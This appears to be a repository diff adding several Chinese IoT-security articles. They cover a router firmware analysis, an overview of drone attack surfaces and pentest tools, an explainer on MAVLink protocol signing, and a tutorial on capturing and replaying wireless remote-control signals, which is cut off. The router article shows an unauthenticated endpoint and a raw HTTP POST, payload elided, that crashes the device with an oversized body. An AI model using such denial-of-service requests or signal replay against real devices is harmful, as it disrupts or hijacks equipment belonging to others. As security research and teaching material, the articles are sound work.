0 0x0 uImage header, header size: 64 bytes, header CRC: 0xFB26C18E, created: 2018-01-17 03:51:29, image size: 4145664 bytes, Data Address: 0x80001000, Entry Point: 0x800044B0, data CRC: 0x9E4BD9D4, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "Linux Kernel Image"
|
||||
3194976 0x30C060 Linux kernel version 2.6.30
|
||||
3260544 0x31C080 CRC32 polynomial table, little endian
|
||||
3274176 0x31F5C0 SHA256 hash constants, big endian
|
||||
3281920 0x321400 CRC32 polynomial table, big endian
|
||||
3475335 0x350787 Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"
|
||||
3477803 0x35112B HTML document header
|
||||
3477966 0x3511CE HTML document footer
|
||||
3666048 0x37F080 AES S-Box
|
||||
3974025 0x3CA389 Microsoft executable, MS-DOS
|
||||
4145216 0x3F4040 ASCII cpio archive (SVR4 with no CRC), file name: "/dev", file name length: "0x00000005", file size: "0x00000000"
|
||||
4145332 0x3F40B4 ASCII cpio archive (SVR4 with no CRC), file name: "/dev/console", file name length: "0x0000000D", file size: "0x00000000"
|
||||
4145456 0x3F4130 ASCII cpio archive (SVR4 with no CRC), file name: "/root", file name length: "0x00000006", file size: "0x00000000"
|
||||
4145572 0x3F41A4 ASCII cpio archive (SVR4 with no CRC), file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000"
|
||||
```
|
||||
|
||||
成功提取后,进入发现是squashfs架构,在squashfs-root发现了www目录,跟进发现是一个asp网站
|
||||
|
||||
### 二、漏洞实现和分析
|
||||
|
||||
因为我手上存在一台以前家里用的物理设备,所以我选择直接去测试我的路由器
|
||||
|
||||
通过遍历访问的我的所有文件,发现存在一些非授权访问点,比如noauth_password_mobile.asp
|
||||
|
||||
此处无需输入账号密码就可以直接进行跳转操作!
|
||||
|
||||

|
||||
|
||||
```asp
|
||||
<FORM action="" method="POST" name=router_password_set>
|
||||
<TABLE cellSpacing=0 cellPadding=3 border=0 width=100%>
|
||||
<TBODY>
|
||||
<TR><TD align=center height=20 colspan=3></TD></TR>
|
||||
<TR><TD align=center height=10 colspan=3></TD></TR>
|
||||
<TR><TD align=center height=40 colspan=3>
|
||||
<input name="login" id="login" type=button style="WIDTH:80%; HEIGHT:45px;" class=mobileButton value="登录" onclick="mySubmit();">
|
||||
</TBODY>
|
||||
</TABLE>
|
||||
</FORM>
|
||||
```
|
||||
|
||||
不幸的是他跳转的位置是
|
||||
|
||||
```asp
|
||||
function mySubmit()
|
||||
{
|
||||
location="mobile.asp";
|
||||
}
|
||||
```
|
||||
|
||||
该文件存在超时检查,所以当我访问的时候它仍然会跳转到登入首页
|
||||
|
||||
```asp
|
||||
var user_expire_time=<%aspGetGroup("get_user_expire_time");%>
|
||||
```
|
||||
|
||||
但是在此处我又发现了一个新的突破点
|
||||
|
||||
```asp
|
||||
function AjaxGetWan1State()
|
||||
{
|
||||
XMLHttpReqtmp = createXMLHttpRequest();
|
||||
if (XMLHttpReqtmp)
|
||||
{
|
||||
var url = "AJAX/ajaxget";
|
||||
var msg="ajaxmsg=aspGetGroup(Wan1BasicState)";
|
||||
XMLHttpReqtmp.open("POST", url, true);
|
||||
XMLHttpReqtmp.onreadystatechange = processGetWan1StateRsp;//指定响应函数
|
||||
XMLHttpReqtmp.send(msg); // 发送请求
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
尝试访问[http://192.168.124.1/AJAX/ajaxget](http://192.168.124.1/AJAX/ajaxget) ,发送ajaxmsg=aspGetGroup(Wan1BasicState),存在回显1;2;1;1;1,发现存在一个非授权访问
|
||||
|
||||

|
||||
|
||||
四个标识符号通过分析代码和注释文件,可知分别代表接口禁用、接口down、ping完、超时、请求成功
|
||||
|
||||
```asp
|
||||
342 XMLHttpReqtmp=null;
|
||||
343
|
||||
344: /* 接口禁用、接口down、ping完、超时*/
|
||||
345 if (0 == msg_tmp[0] || 4 == msg_tmp[1] || 1 == msg_tmp[4] || getwanstatuscount >= getwanstatusmaxcount)
|
||||
346 {
|
||||
...
|
||||
400 {
|
||||
401 var url = "AJAX/ajaxget";
|
||||
402: var msg="ajaxmsg=aspGetGroup(Wan1Ping)";
|
||||
403 XMLHttpReq.open("POST", url+"?IsVersionCheck=1", true);
|
||||
404 XMLHttpReq.onreadystatechange = processWan1StateTestRsp;//指定响应函数
|
||||
|
||||
```
|
||||
|
||||
```asp
|
||||
function processWan1StateTestRsp()
|
||||
{
|
||||
if (XMLHttpReq.readyState == 4)
|
||||
{ // 判断对象状态
|
||||
//alert(XMLHttpReq.responseText+XMLHttpReq.status);
|
||||
if ((XMLHttpReq.status >= 200 && XMLHttpReq.status < 300) || XMLHttpReq.status == 304)
|
||||
{ // 信息已经成功返回,开始处理信息
|
||||
XMLHttpReq=null;
|
||||
setTimeout("AjaxGetWan1State();",2000);
|
||||
}
|
||||
else
|
||||
{ //页面不正常
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
于是我尝试去寻找ping接口去实现命令执行,但是发现给出的接口只有输出相关的,在doping.asp界面也加入了超时检查机制,
|
||||
|
||||
```asp
|
||||
<script>
|
||||
top.user_expire_time = <%aspGetGroup("get_user_expire_time");%>
|
||||
var rtt="<% aspPing(); %>";
|
||||
parent.ping_rtt=rtt;
|
||||
</script>
|
||||
```
|
||||
|
||||
于是参数不可控,正当我发觉似乎没法利用这个非授权访问漏洞RCE的感到沮丧时候,突然发现如果在这个位置发送一个超长的字符串是否可以让他溢出来实现DOS攻击,于是我使用python输出了10w+的字符a,通过exp进行发送,成功将路由器服务崩溃,实现了DOS攻击。在一定情况下(不知道是不是因为我对接口攻击次数太多了导致了一些损坏,正常情况下一次大请求可以直接让路由器完全崩溃)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### EXP:(次数字节数较少,只能让路由器web服务重启,当增加到几十万时路由器将崩溃哦)
|
||||
|
||||
```html
|
||||
POST /AJAX/ajaxget HTTP/1.1
|
||||
Host: 192.168.124.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 78430
|
||||
Origin: http://192.168.124.1
|
||||
Connection: close
|
||||
Referer: http://192.168.124.1/AJAX/ajaxget
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
|
||||
ajaxmsg=此处省略
|
||||
```
|
||||
|
||||
```
|
||||
//请求包越大越好
|
||||
```
|
||||
|
||||
### 解决措施
|
||||
|
||||
##### 产品恢复正常
|
||||
|
||||
断电重启路由器即可,无需重置,如果重启无效,需要重置。
|
||||
|
||||
##### 漏洞防御
|
||||
|
||||
1.通过对ajax的非授权访问进行限制
|
||||
|
||||
2.对msg传入进行限制
|
||||
@@ -0,0 +1,166 @@
|
||||
# 无人机安全简介
|
||||
> IOTsec-Zone
|
||||
> 来源:https://www.iotsec-zone.com/article/436
|
||||
|
||||
无人机作为一种尖端技术,迅速崛起,变革了各个行业和日常活动。这些飞行器配备了先进的传感器、摄像头和通信系统,使其能够在无需人类飞行员的情况下执行各种任务。
|
||||
|
||||
近年来,无人机行业见证了显著的进步。然而,这也引发了安全担忧,例如电子战、未经授权的监视以及无人机攻击的风险。政府和其他安全机构正在开发反无人机技术以减轻安全风险。
|
||||
|
||||
在这篇博客文章中,我们将深入探讨无人机安全领域以及识别和应对潜在漏洞的措施。
|
||||
|
||||
## 什么是无人机?
|
||||
|
||||
无人机,也被称为无人驾驶飞行器(UAV),是一种无需人类飞行员操作的飞机。它们由人类操作员或计算机系统远程控制。
|
||||
|
||||
## 无人机如何工作?
|
||||
|
||||
无人机通过以下三个组件工作:
|
||||
|
||||
- 硬件
|
||||
- 协议
|
||||
- 软件
|
||||
|
||||
## 硬件
|
||||
|
||||
无人机的硬件组件包括:
|
||||
|
||||
**1. 飞行控制器 –** 它是无人机的大脑。它处理数据并将飞行员的输入转化为指令。
|
||||
|
||||

|
||||
|
||||
**2. 电子速度控制器 –** 用于控制无人机的速度和方向。
|
||||
|
||||

|
||||
|
||||
**3. 电源 –** 无人机由电池、汽油发动机和其他电源供电。
|
||||
|
||||

|
||||
|
||||
**4. 载荷 –** 无人机配备了不同的载荷,包括摄像头和LiDAR传感器。它还可以携带医疗用品、食品供应和包裹等用于递送目的的载荷。
|
||||
|
||||

|
||||
|
||||
**5. 无线电系统 –** 无线电系统是关键组件,因为它们帮助无人机与操作员之间的通信。
|
||||
|
||||

|
||||
|
||||
**6. 地面控制站 –** 它是无人机操作中至关重要的组件。它作为用户界面,允许操作员控制无人机的移动。
|
||||
|
||||

|
||||
|
||||
**7. 摄像头 –** 无人机配备摄像头用于拍照和录像。
|
||||
|
||||

|
||||
|
||||
**8. 传感器 –** 无人机配备各种传感器用于导航和稳定。常见的传感器包括GPS、高度检测、LIDAR等。
|
||||
|
||||

|
||||
|
||||
## 协议
|
||||
|
||||
无人机使用的各种通信协议包括:
|
||||
|
||||
1. **MAVLink协议 –** 它代表微型空中飞行器通信协议。用于无人机与地面控制站之间的信息交换。
|
||||
2. **Wi-Fi协议 –** 用于无人机与飞行员遥控器之间的通信以及实时视频流。
|
||||
3. **蓝牙协议 –** 用于无人机与移动设备之间的短距离通信,如设置和配置任务。
|
||||
4. **串行总线协议 –** 这是一种数字通信协议,通过一根电线传输多个控制信息通道。用于无线电发射器与飞行控制器之间的通信。
|
||||
5. **Zigbee协议 –** 用于短距离通信,设计为节能。
|
||||
|
||||
## 软件
|
||||
|
||||
无人机使用的软件包括:
|
||||
|
||||
1. **固件 –** 固件指的是嵌入在无人机硬件中的专用软件,特别是在飞行控制系统中。负责控制无人机的飞行操作和各种其他操作。它有助于飞行控制器与无人机其他组件之间的通信。
|
||||
2. **应用程序 –** 指帮助操作无人机的软件。常见的应用类型包括:
|
||||
|
||||
- **无人机控制应用 –** 允许无人机操作员与无人机互动并控制其的软件。
|
||||
- **自主飞行应用 –** 帮助用户计划和执行飞行任务。
|
||||
- **仿真应用 –** 提供虚拟环境,供用户练习飞行无人机而无需担心损坏真实无人机。对于训练和测试非常重要。
|
||||
- **安全和合规应用 –** 这些应用帮助无人机操作员了解禁飞区、法规和潜在风险。
|
||||
|
||||
## 攻击面
|
||||
|
||||
无人机的攻击面包括各种潜在的漏洞点,恶意行为者可能会瞄准这些点。包括:
|
||||
|
||||
- **无线通信** – 无人机使用无线通信协议进行通信,如果这些通信通道未得到妥善保护,恶意行为者可能会拦截、操纵和干扰信号。
|
||||
- **物理访问** – 恶意行为者可以通过物理访问无人机来篡改无人机硬件、安装恶意软件并提取无人机中的敏感数据。
|
||||
- **GPS欺骗** – 通过发送虚假信号使无人机偏离预定路径。可以用来控制无人机。
|
||||
- **Wi-Fi热点攻击** – 使用Wi-Fi的无人机可能会连接到一个假Wi-Fi热点,连接后攻击者可以拦截流量并窃取数据。
|
||||
- **固件** – 固件是控制无人机硬件的软件。固件中的漏洞可能允许恶意行为者控制无人机。
|
||||
- **移动应用程序** – 无人机也可以通过移动应用程序控制,这些应用程序中的漏洞可能允许攻击者访问无人机。
|
||||
- **拒绝服务(DoS)攻击** – 攻击者通过向无人机发送大量请求,使其无法执行预定任务。它会使系统超载。
|
||||
|
||||
## 攻击过程
|
||||
|
||||
**侦察** – 在这个过程中,主要目标是收集关于目标无人机、其基础设施、通信协议及所有相关信息。信息从各种来源收集。包括以下活动:
|
||||
|
||||
- 识别无人机型号、制造商和规格
|
||||
- 研究无人机使用的通信协议
|
||||
- 收集无人机控制系统、软件和固件的信息
|
||||
- 研究拥有和操作无人机的组织
|
||||
|
||||
**枚举** – 在这个阶段,主要目标是识别具体的目标和潜在的弱点。包括以下活动:
|
||||
|
||||
- 搜索无人机上的开放端口和服务
|
||||
- 识别活跃的网络服务和系统
|
||||
- 收集网络配置和通信协议的信息
|
||||
- 识别潜在的入口点
|
||||
|
||||
**发现** – 在这个阶段,主要目标是发现漏洞和潜在的攻击向量。包括以下活动:
|
||||
|
||||
- 搜索无人机固件和软件中的漏洞
|
||||
- 分析通信协议的弱点和潜在漏洞
|
||||
- 调查网络设置中的潜在配置错误
|
||||
- 查找无人机的网页界面、API和控制软件中的安全缺陷
|
||||
- 查找无人机系统中的默认或弱密码
|
||||
|
||||
**利用** – 在这个阶段,主要目标是积极利用已识别的漏洞。包括以下活动:
|
||||
|
||||
- 利用无人机控制系统、软件和固件中的漏洞
|
||||
- 测试认证机制的弱点并尝试未经授权的访问
|
||||
- 测试通信通道上的拒绝服务(DoS)攻击
|
||||
- 测试引导加载程序中的漏洞
|
||||
- 测试如侧载APK和Mavlink重放攻击等攻击方式
|
||||
|
||||
## 地面站的漏洞
|
||||
|
||||
地面站用于控制和管理无人机的操作。潜在的漏洞包括:
|
||||
|
||||
- **不安全的通信通道** – 地面站通过各种通道(如Wi-Fi、无线电频率或蜂窝网络)与无人机通信。如果这些通道缺乏适当的加密或身份验证,可能会容易受到未经授权的访问或窃听。
|
||||
- **身份验证缺陷** – 实施不当的身份验证机制可能允许未经授权的个人访问地面站并查看敏感信息。
|
||||
- **恶意软件** – 恶意软件攻击对无人机构成重大安全风险,可能导致未经授权的访问、数据泄露和整个无人机系统的妥协。它可以用来窃取敏感数据。
|
||||
- **物理安全** – 未经授权的个人对地面站的物理访问可能导致篡改或数据盗窃,从而引发潜在的安全问题。
|
||||
- **网络钓鱼** – 这是一种用于欺骗个人以窃取敏感数据(如登录凭据或信用卡信息)的技术。
|
||||
|
||||
## 用于渗透测试无人机的工具
|
||||
|
||||
- **Wireshark** – Wireshark 是一种网络协议分析器,可用于通过捕获和检查无人机与控制站之间的数据包进行数据包分析。它允许实时流量监控,有助于识别可能表明安全威胁的不规则情况。
|
||||
- **Dronesploit** – Dronesploit 是一个渗透测试控制台框架,旨在评估无人机的安全性。它包括几个用于利用无人机漏洞的模块。
|
||||
- **Dronextract** – Dronextract 是一个专为 DJI 无人机设计的数字取证套件。它允许用户分析传感器数据、可视化飞行路径并审计潜在的犯罪活动。
|
||||
- **Burpsuite** – Burpsuite 是一种用于渗透测试 Web 应用程序的工具,可用于拦截和分析无人机与其地面控制站之间的通信。
|
||||
- **Apktool** – Apktool 是一个反向工程工具,可用于反编译和分析 Android 应用程序。在无人机的情况下,该工具用于识别无人机应用程序中的漏洞。
|
||||
- **MobSF** – MobSF 是一个开源的移动应用安全框架,用于分析 Android 和 iOS 应用的安全性。它还可以通过对无人机应用程序执行静态分析和动态分析来分析无人机应用程序。
|
||||
- **HackRF One** – HackRF One 是最流行的软件定义无线电(SDR)设备,允许用户接收或发射来自无线电频谱的无线电信号。它可用于分析无人机通信、干扰无人机信号和欺骗无人机信号等任务。
|
||||
- **Nmap** – Nmap 是一个开源网络扫描器,用于发现计算机网络上的主机和服务。该工具可用于查找无人机上可访问的网络,无论它们是传输还是接收数据。
|
||||
- **GNU Radio** – GNU Radio 是一个开源软件工具包,旨在构建和探索软件定义无线电。该工具可用于信号分析、无人机检测、信号操纵和干扰。
|
||||
- **Ghidra** – Ghidra 是一个免费且开源的反向工程工具,可用于分析和反向工程无人机使用的固件。
|
||||
- **Binwalk** – Binwalk 是一个开源工具,可用于分析、反向工程和提取固件镜像。
|
||||
|
||||
## 无人机安全加固方案
|
||||
|
||||
- 使用强大且安全的通信协议
|
||||
- 定期更新无人机的软件和固件
|
||||
- 实施安全启动机制,确保在启动过程中加载经过认证的固件
|
||||
- 强制执行强身份验证机制以访问无人机的控制系统
|
||||
- 使用防火墙监控网络流量并保护无人机控制系统免受未经授权的访问
|
||||
- 使用防病毒软件保护无人机免受恶意软件攻击
|
||||
- 禁用不必要的服务和功能,以减少保护无人机的攻击面
|
||||
- 避免使用公共 Wi-Fi 网络
|
||||
- 仅授权人员应有权访问无人机及其组件
|
||||
- 使用雷达系统、声学传感器和 DroneID 等无人机检测技术来识别和缓解潜在的安全威胁
|
||||
|
||||
## 结论
|
||||
|
||||
无人机继续在各个行业中引发变革,但其安全性仍然是一个优先事项。无人机技术的快速发展带来了各种漏洞和潜在的安全威胁,从未经授权的监视到无人机支持的攻击。为了解决这些风险,需要采取全面的安全措施,包括对通信协议进行强有力的加密、定期更新软件和固件以及实施安全的身份验证机制。
|
||||
|
||||
此外,使用无人机检测技术可以进一步增强安全措施。通过优先考虑无人机安全并采用主动的策略,我们可以在充分利用无人机潜力的同时,防范新兴的网络威胁。
|
||||
@@ -0,0 +1,64 @@
|
||||
# 无人机通信协议MAVLink简介
|
||||
> 博智非攻研究院
|
||||
> 来源:https://www.iotsec-zone.com/article/371
|
||||
|
||||
Micro Air Vehicle Link(简称MAVLink)用于无人系统(例如,机器人、无人机、无人车、无人船和无人潜航器)。它定义了一组无人系统和地面站之间的消息交换规则。此协议广泛用于无人驾驶系统中,特别是ArduPilot和PX4无人驾驶系统,MAVLink协议提供了强大的功能,不仅用于监视和控制无人系统任务,也将无人系统集成进入互联网。
|
||||
|
||||
图1 PX4飞控系统四轴固定翼无人机
|
||||
|
||||
# 1.MAVLink消息结构介绍
|
||||
无人机集成了特殊的硬件和软件,通过这些硬件和软件实现自动驾驶。地面控制站与无人机之间通过交换MAVLink消息实现通信。MAVLink协议规则在2009年由Lorenz Meier以LGPL授权的方式发布。从发布至今,MAVLink由于消息短小,通信开销小,效率高等特点在无人机通信中得到广泛应用。下面分别介绍版本1.0和版本2.0的MAVLink消息结构。
|
||||
|
||||
图2 无人机和地面站通信示意图
|
||||
|
||||
**MAVLink版本1.0,也是当前最流行,使用最广泛的MAVLink版本,其消息结构列表如下:**
|
||||
|
||||
|名称|字节序号|含义|
|
||||
|-|-|-|
|
||||
|STX|0|一帧的开始,MAVLink 1.0中,该值固定为0xFE。|
|
||||
|LEN|1| 消息载荷的长度。|
|
||||
|SEQ|2| 消息的序列号,当开始发送消息时,该值从0增长到255,到255后又重置为0,重新开始增长。|
|
||||
|SYS ID|3|系统编号,每个无人机系统都有一个系统编号用于在通信中标识自己,地面控制站的系统编号通常为255。|
|
||||
|COMP ID|4|组件编号,无人机系统中不同的组件用组件编号来进行区分,组件编号标识发送消息的无人机系统的组件。在无人机系统中有27种不同类型的组件。|
|
||||
|MSG ID|5|消息编号,标识不同种类的无人机消息。例如编号为0的消息是无人机的心跳消息。|
|
||||
|PAYLOAD|6(N=1)6~5+N (N>=2)|消息载荷,不同类型的消息的载荷在结构、内容和长度上不同。|
|
||||
|CHECKSUM|6+N~7+N|校验和,通过计算和检查校验和来判断消息的有效性。需要注意的是校验和的计算不包括STX字段,并且根据MSG ID的不同,校验和计算前在消息的末尾会加入一个种子值一起计算。|
|
||||
|
||||
MAVLink 2.0版本是在1.0版本的基础上扩展了消息类型和安全性签名的版本。版本2.0将消息ID字段扩展到3个字节,大幅度增加了可支持的消息类型,并且支持消息签名;签名是一种认证机制,旨在提高通信的安全性。消息签名占用13字节,放于载荷之后。MAVlink版本2.0的消息结构介绍如下:
|
||||
|
||||
|名称|字节序号|含义|
|
||||
|-|-|-|
|
||||
|STX|0| 一帧的开始,MAVLink 1.0中,该值固定为0xFE。|
|
||||
|LEN|1| 消息载荷的长度。|
|
||||
|INC FLAGS|2|不兼容性标志,如果实现不能识别该标志,则丢弃数据包。(签名消息中,该字段为0x01)|
|
||||
|CMP FLAGS|3|兼容性标志,用于指示功能不会阻止MAVLink库处理数据包。即实现如果不识别该标志,数据包依然可以进入后续处理。|
|
||||
|SEQ|4|消息的序列号,当开始发送消息时,该值从0增长到255,到255后又重置为0,重新开始增长。|
|
||||
|SYS ID|5|系统编号,每个无人机系统都有一个系统编号用于在通信中标识自己,地面控制站的系统编号通常为255。|
|
||||
|COMP ID|6|组件编号,无人机系统中不同的组件用组件编号来进行区分,组件编号标识发送消息的无人机系统的组件。在无人机系统中有27种不同类型的组件。|
|
||||
|MSG ID|7~9|消息编号,标识不同种类的无人机消息。例如编号为0的消息是无人机的心跳消息。|
|
||||
|PAYLOAD|10(N=1) 10~9+N (N>=2)|消息载荷,不同类型的消息的载荷在结构、内容和长度上不同。|
|
||||
|CHECKSUM|10+N~11+N|校验和,通过计算和检查校验和来判断消息的有效性。需要注意的是校验和的计算不包括STX字段,并且根据MSG ID的不同,校验和计算前在消息的末尾会加入一个种子值一起计算。|
|
||||
|SIGNATURE|N+12~N+25|签名,用于消息合法性认证的签名,非签名消息中无该字段,该字段由三部分组成,按照顺序分别是LinkID、Timestamp和Signature。|
|
||||
|
||||
**签名字段占用13个字节,该字段本身又由三个字段组成,按照先后顺序说明如下:**
|
||||
|
||||
LinkID,占用一个字节,表示链接的ID(通道编号)用于发送数据包。链路或信道可以是WiFi或遥测,并且可以组合。每一个用于发送数据的通道应该有自己的LinkID。以(SYS ID, COMP ID, LINK ID)为一个通信链路的标识,这为多通道无人系统提供了一种使用MAVLink 2.0进行控制的手段。
|
||||
|
||||
Timestamp,即时间戳,占用6个字节,它是当前时间距离GMT时间2015年1月1日0时0分0秒的微秒数(微秒即百万分之一秒)。这个时间戳随着每次消息发送递增,可有效地抵抗重放攻击。
|
||||
|
||||
**Signature,即签名,占用6字节,计算公式如下:**
|
||||
|
||||
signature = sha256_48(secret_key + header + payload + CRC + link-ID + timestamp)
|
||||
signature取计算结果的前48比特,通过签名可对消息的合法性进行验证,提高通信安全性。
|
||||
|
||||
# 2.MAVLink协议安全性分析
|
||||
|
||||
从版本1.0和2.0版本的消息结构中可以看出,MAVLink消息是不加密传输的,消息的私密性无法保障,攻击者可以监听并分析无人机和地面站之间的MAVLink通信,针对版本1.0和2.0非签名消息,攻击者可以实施伪造、重放、中间人、劫持、泛洪等攻击。多个研究者的论文也表明MAVLink协议,特别是版本1.0和版本2.0的非签名消息存在实施多种安全攻击的可能。但针对MAVLink 2.0签名版消息的攻击提得较少,究其原因,MAVLink 2.0签名版增加了签名认证机制,普通攻击难于突破这种认证机制;
|
||||
|
||||
MAVLink版本2.0的签名机制的安全性通过以下过程得以保障:
|
||||
|
||||
首先secret_key通过安全通信在无人机和地面站之间进行交换或同步;可通过加密或者物理安全机制发送secret_key数据;secret_key为32个字节,即便监听到消息后对secret_key进行反算的难度也非常高,反算在理论上需要遍历2的256次方种可能的组合,这在根本上保障了通信的安全性;
|
||||
|
||||
其次,由于timestamp的存在,重放和泛洪攻击方法也将失效;timestamp在每次消息之间不断增长,一旦增长,签名被重新计算,签名结果发生变化,这时候无论是重放还是泛洪的数据均会被丢弃。
|
||||
|
||||
如果使用MAVLink协议进行无人机控制系统开发,建议采用安全性更高的2.0版本签名消息,并且禁用1.0版本和非签名版的2.0消息,通过安全通道定期(如每次飞行前)更新secret key。
|
||||
@@ -0,0 +1,73 @@
|
||||
# 无线遥控信号逆向分析
|
||||
> 橡树吖
|
||||
> 来源:https://www.iotsec-zone.com/article/47
|
||||
|
||||
> 大家好,我是橡树,今天给大家带来有关无线遥控信号逆向分析的文章。当今社会,电子产品大量依靠各种无线传输技术,无线通信技术上的传输、认证、加密等安全问题,在各种设备对无线技术依赖加深的情况下变得越来越重要。无线安全的研究领域非常的宽泛,随着越来越多的物联网控制设备采用无线遥控信号,无线安全方面的研究也逐渐被更多的网络安全研究员所关注。本文结合作者在无线安全领域做出的一些实例侦听和逆向分析,希望能够抛砖引玉为无线安全研究做出贡献,同时对于研究过程中的遇到的一些问题希望可以得到解答。
|
||||
# 0x01 信号101
|
||||
要研究一个无线遥控器,首先我们需要先了解该无线遥控信号一般工作所在的ISM频段,例如汽车无线钥匙和电动自行车的工作频段通常是在315Mhz或433Mhz传输数据。如果是无钥匙启动系统则多会采用123Mhz或者13.56Mhz的RFID技术。车库卷闸门遥控信号一般工作频段是在315 Mhz,除此之外还有车库收费挡杆的遥控信号频段都大多是工作在433 Mhz或315Mhz频段。诸如门禁卡、无线钥匙、无线遥控器、手机、汽车等只要使用了无线介质进行数据交互,那么这条无线链路就有可能被监听、解密、重放、劫持甚至被入侵控制。
|
||||
当无线遥控钥匙在发了一串0和1之后,需要正确的调制及编码方式,收发双方才可以进行交互,通常信号的调制方面主要以OOK/ASK/FSK为主,这几种调制方案的应用非常广泛,其中OOK调制方案是最简单的,仅仅需要将载波信号发送到功放和天线。当这些信号被别有用心的人捕获或者破解,后果是无法想象的。
|
||||

|
||||
(ASK信号在频谱上的现象)
|
||||
# 0x02 软件无线电
|
||||
软件无线电,即Software Defined Radio(SDR),有时也成为Software Radio
|
||||
由于软件无线电具有能够快速开发、迭代更新的特点,所以它特别适合用在一些定制化的应用中。例如学生和研究人员用它来处理无线信号。产品开发类的人员用它开发设备。高校内的通信教学活动以及业余无线电爱好者的学习和使用。
|
||||

|
||||

|
||||
无线信号安全的研究必然离不开相关硬件的支持,在这里我将研究所用到的软硬件工具及SDR平台进行简单介绍。
|
||||
# 0x03 无线安全研究工具
|
||||
Pluto-SDR: Pluto-SDR由亚德诺半导体出品,整体设计方案是AD9363射频收发器+ZYNQ7010FPGA。AD9363的收发频率为325 MHz至3.8 GHz,支持时分双工(TDD)和频分双工(FDD)工作模式,AD/DA为12bit性能优于HackRF One。Pluto-SDR可在多个平台上使用,例如GNURADIO和MATLAB平台,可以实现基础的无线信号收发和无线信号安全的实验。以下数据表是各种常见SDR硬件之间的对比。
|
||||

|
||||
(几种SDR的对比-图片来源网络)
|
||||
RTL-SDR: 一个低廉的家用消费档次的 DVB-T USB 接口的接收机的创新发明,也是最为廉价的软件无线电接收平台。
|
||||
CC1101: 美国TI公司出品的工作在低于1GHz频段的无线数传芯片,一款低于1GHz设计旨在用于极低功耗RF应用。其主要针对工业、科研和医疗(ISM)以及短距离无线通信设备(SRD)
|
||||
Raspberry Pi: 只有信用卡大小的微型电脑,其系统基于Linux,树莓派可作为电台进行信号接收,在可控的范围之内,采用杜邦线即可实现基础的实验效果。
|
||||
RTL-433: rtl_433 (despite the name) is a generic data receiver, mainly for the 433.92 MHz, 868 MHz (SRD), 315 MHz, 345 MHz, and 915 MHz ISM bands.It works with RTL-SDR and/or SoapySDR. Actively tested and supported are Realtek RTL2832 based DVB dongles (using RTL-SDR) and LimeSDR (LimeSDR USB and LimeSDR mini engineering samples kindly provided by MyriadRf), PlutoSDR, HackRF One (using SoapySDR drivers), as well as SoapyRemote. --来自官方解释
|
||||
|
||||
有了这些软硬件设备的支持和协调之下,使得我们的安全研究有了更近一步的突破,在这里要感谢学院的科创团队为我们研究团队提供的设备支持和资金使得我们可以更加清晰的完成无线信号的基础研究。
|
||||
# 0x03 无线信号捕获与解调
|
||||
普通的固定码遥控器中最为常见的是四键遥控器。在此系统中,主机依靠无线配件的地址信号,通俗来讲就是一组数字编号用来区分不同的无线配件。如果两个无线配件的地址相同,主机就把它们当作是同一个无线配件。在四键遥控器中,一般有8位地址可以由用户设置,每位地址可以选择3种状态0、1或者悬空。这样在不重复的情况下,总共就可以有3的8次方,也就是6561个地址。在进行自动对码的时候,主机收到这些信息会和以前加入的配件信息进行比较,如果地址是以前对码时候加入过的,主机就接受这个遥控器的指令,否则主机不会对于这个遥控器有任何的响应。所以在实验开始之前,我们首先要做的就是去捕获设备的无线信号码。大致有以下几种方法可以供我们去捕获设备的无线信号工作频段。
|
||||
第一种方法,也是最为简单的方法是直接拆开要捕获信号的发射设备,查询其FCC ID或CMIIT ID信息,该类网站上收录有其硬件的发射功率,发射频谱等信息资料,可以通过检索其资料对于无线信号工作频段进行了解,进而捕获目标发射设备的信号。在URH的教学案例视频中作者也有提到如何去具体的查询FCC ID以及拿到FCC ID之后具体如何去查看更为详细的硬件信息。
|
||||
第二种方法是直接使用软件无线电设备,频谱分析软件如GQRX等设备,在较大的频谱范围之内连续触发要捕获信号的发射设备,使其不断向外发出信号,大致判断其工作范围,然后在进行验证,获得设备最终的无线信号工作频谱频段。
|
||||
以下为使用第二种方法获得要捕获信号的发射设备的无线信号工作频段图:
|
||||

|
||||
(无线门铃信号工作频谱)
|
||||

|
||||
(无线门铃信号频谱图)
|
||||
在获取到发射设备的无线信号工作频谱之后,就可以对于其信号进行录制和逆向分析。
|
||||
如上即为录制的普通无线门铃信号,对其进行解调后即可将其信号转换为01表示的数字信号或者转化为HEX码,一般来讲直接观察HEX码是更容易使我们逆向信号的数据,然后对于该数字信号进行记录。
|
||||
然而人工观察的方法容易出错(尤其是通过01去判断信号信息),在这里我会更加的依赖软件的分析,接下来我们将我们捕获的信号进行信号逆向分析,试图将其从无线电信号转化为数字信号。
|
||||

|
||||
(自动解调-失败)
|
||||

|
||||
(手动解调-成功)
|
||||
我们可以看到使用软件自动解调之后显示的数据信号并非我们实际在频谱中可以看到的数字信号。但是我们知道了默认选择的是ASK的解调方式,所以我们针对于该解调方式进行一些其他的操作。更换本地采样率继续进行解调,发现解调成功,成功逆向出该遥控信号的数字信号。然后通过CC1101,树莓派或者Pluto SDR设备对于该信号进行测试,观察门铃接收端是否有相应的响应,有响应反馈即代表信号逆向成功。
|
||||
下面我们针对于四键遥控器的设计过程及原理图进行具体的分析:
|
||||

|
||||
(拨码遥控器)
|
||||

|
||||
(类似的原理图)
|
||||
